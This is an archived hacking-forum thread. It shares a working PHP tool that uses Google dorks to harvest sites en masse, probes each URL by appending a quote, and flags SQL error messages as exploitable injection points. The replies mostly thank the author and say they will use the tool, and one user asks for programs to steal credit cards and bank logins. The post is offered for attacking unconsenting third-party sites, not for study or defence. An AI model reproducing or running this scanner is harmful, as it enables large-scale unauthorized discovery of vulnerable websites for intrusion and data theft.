PDA

View Full Version : SqLi Scanner



darkmindz
01-26-2011, 11:05 AM
<html>
<head>
<title>SQLi Scan - Dark Zone</title>

<!--
************************************************** **************
* SQLi Scanner by DarKmindz @ 31337 ZoNe *
* *
* Fuck You n00b & Shit Talker & Time Wasters & Scriptkiddiots! *
************************************************** **************

Written by DarKmindz @ 31337 ZoNe

Yuck Fou,
./DarkMindz &
-->

<style>
body{
background: black;
color: red;
font-family: monospace;
font-size: 12px;
}

input{
background: black;
border: 1px solid red;
color: red;
}

h2{
color: red;
}

a{ color: #5A5A5A; text-decoration: none; }
a:visited, a:active{ color: #5A5A5A; text-decoration: line-through; }
a:hover{ color: #00FF00; text-decoration: line-through; }
.effectok:hover { text-decoration: underline; }
.effectfalse:hover { text-decoration: line-through; }

</style>

</head>
<body>

<?php
echo "<center>";
echo "<form action='' method='post'>";
echo "<b>Dork</b>: <p><input type='text' name='dork' value='inurl:php?=id+site'></p>";
echo "<input type='submit' value=' Fvck It! '>";
echo "<hr><br />";

if($_POST['dork']) {

@set_time_limit(0);
@error_reporting(0);
@ignore_user_abort(true);
ini_set('memory_limit', '128M');

$google = "http://www.google.com/cse?cx=013269018370076798483%3Awdba3dlnxqm&q=REPLACE_DORK&num=100&hl=en&as_qdr=all&start=REPLACE_START&sa=N";

$i = 0;
$a = 0;
$b = 0;

while($b <= 900) {
$a = 0;
flush(); ob_flush();
echo "Pages: [ $b ]<br />";
echo "Dork: [ <b>".$_POST['dork']."</b> ]<br />";
echo "Scanning Google<br />";
flush(); ob_flush();

if(preg_match("/did not match any documents/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $val)) {
echo "Bisey bulunamadı<br />";
flush(); ob_flush();
break;
}

preg_match_all("/<h2 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $sites);
echo "Loadiing…<br />";
flush(); ob_flush();
while(1) {

if(preg_match("/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|SQL query failed/", Connect_Host(str_replace("=", "='", $sites[2][$a])))) {
echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectok'>".str_replace("=", "='", $sites[2][$a])."</a> <== <font color='green'>SQL Injection Success !</font><br />";
} else {
echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectfalse'>".str_replace("=", "='", $sites[2][$a])."</a> <== <font color='red'>Not access ! </font><br />";
flush(); ob_flush();
}
if($a > count($sites[2])-2) {
echo "Bitti<br />";
break;
}
$a = $a+1;
}
$b = $b+100;
}
}

function Connect_Host($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOW, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$data = curl_exec($ch);
if($data) {
return $data;
} else {
return 0;
}
}

function Clean($text) {
return htmlspecialchars($text, ENT_QUOTES);
}
echo "</center>";
?>

</body>
</html>

kron
01-27-2011, 05:52 PM
Thank you for this bro. Worked a charm for me.

poninay
01-28-2011, 08:41 AM
nice one...

yuiseto
02-01-2011, 08:12 PM
Thank you for excellent prog

poninay
02-02-2011, 02:37 AM
googd job men...try this one

baraba
02-03-2011, 08:56 PM
sorry.im new here.i don't understand what is that.its for google dorks or to get db.

EGY_CodEr
02-07-2011, 02:08 AM
Fatal error: Call to undefined function: curl_init()

i use appserv

zaki1971
02-27-2011, 10:55 AM
Thanks man!

MistY
02-28-2011, 04:30 PM
Good tool to use as an addition to doing manually.

k0r
03-08-2011, 09:27 PM
Gonna be using this

sisqo
03-09-2011, 10:41 AM
good and thx

sisqo
03-09-2011, 10:43 AM
need a program to steal credit card

sisqo
03-09-2011, 10:44 AM
hi need bank login

sisqo
03-09-2011, 10:57 AM
good but how it work's

sisqo
03-09-2011, 11:02 AM
what's about cc tell me everingthing

sdzwb
03-11-2011, 08:43 AM
ond good script
thanks for sharing

AdRyAnOTeAm
03-13-2011, 06:24 PM
Thanks man

mc0d3
03-19-2011, 02:59 PM
i'll give it to you anytime darkmindz u code

eRRoR
03-20-2011, 05:06 PM
IS this a Dork Scanner ?

antitos
03-21-2011, 05:55 PM
thank's man for this script.

evili9thz
11-22-2016, 05:04 PM
still works?

Best333
11-22-2016, 11:15 PM
still works?

support question

grafik71
03-02-2017, 12:47 AM
güzel tam aradığım şey bu işte

Mafiagod
03-31-2017, 04:48 AM
thanks man

fauzisnutz
04-01-2017, 05:30 PM
i will try it

Mindo
11-04-2017, 05:43 PM
I will try this tool, it may be very useful!

Dizaster.25
11-11-2017, 06:57 PM
Thanks bro!

WarnerBross
01-16-2018, 06:37 AM
Thanks man for this scrypt, i will try...

wlhaan
09-08-2018, 10:45 PM
thank you so much

Jrboss321
09-29-2018, 12:49 AM
Yup . Thanks dude